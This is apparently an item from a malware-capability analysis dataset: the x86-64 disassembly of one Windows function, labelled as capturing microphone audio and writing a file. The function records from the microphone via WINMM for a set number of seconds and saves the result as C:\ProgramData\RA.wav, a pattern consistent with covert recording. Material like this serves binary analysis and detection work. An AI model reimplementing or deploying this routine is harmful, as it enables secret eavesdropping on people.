Function at 0x140003012
Capabilities:
Capture microphone audio
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov dword [rbp + 0x10], ecx
mov eax, dword [rbp + 0x10]
imul eax, eax, 0x15888
mov dword [rbp - 0x64], eax
mov word [rbp - 0x30], 1
mov word [rbp - 0x2e], 1
mov dword [rbp - 0x2c], 0xac44
mov dword [rbp - 0x28], 0x15888
mov word [rbp - 0x24], 2
mov word [rbp - 0x22], 0x10
mov word [rbp - 0x20], 0
mov eax, dword [rbp - 0x64]
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov qword [rbp - 0x60], rax
mov eax, dword [rbp - 0x64]
mov dword [rbp - 0x58], eax
mov dword [rbp - 0x48], 0
mov dword [rbp - 0x44], 0
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInOpen]
call rax
test eax, eax
je 0x1400030ed
mov ecx, 2
mov rax, qword [fcn.14000d6c0]
call rax
mov rcx, rax
lea rax, str.Failed_to_open_microphone._n
mov rdx, rax
call fcn.140001450
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x14000337c
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x60]
mov r8d, 0x30
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInPrepareHeader]
call rax
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x60]
mov r8d, 0x30
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInAddBuffer]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInStart]
call rax
mov eax, dword [rbp + 0x10]
imul eax, eax, 0x3e8
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInStop]
call rax
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x60]
mov r8d, 0x30
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInUnprepareHeader]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInClose]
call rax
lea rax, [0x14000f787]
mov rdx, rax
lea rax, str._ProgramData_RA.wav
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14000336f
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.RIFF
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov eax, dword [rbp - 0x64]
add eax, 0x24
mov dword [rbp - 0x68], eax
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x68]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 8
mov edx, 1
lea rax, str.WAVEfmt
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov dword [rbp - 0x6c], 0x10
mov word [rbp - 0x6e], 1
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x6c]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x6e]
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x30]
add rax, 2
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x30]
add rax, 4
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x30]
add rax, 8
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x30]
add rax, 0xc
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x30]
add rax, 0xe
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.data
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x64]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov eax, dword [rbp - 0x64]
movsxd rdx, eax
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_free
nop
add rsp, 0xa0
pop rbp
ret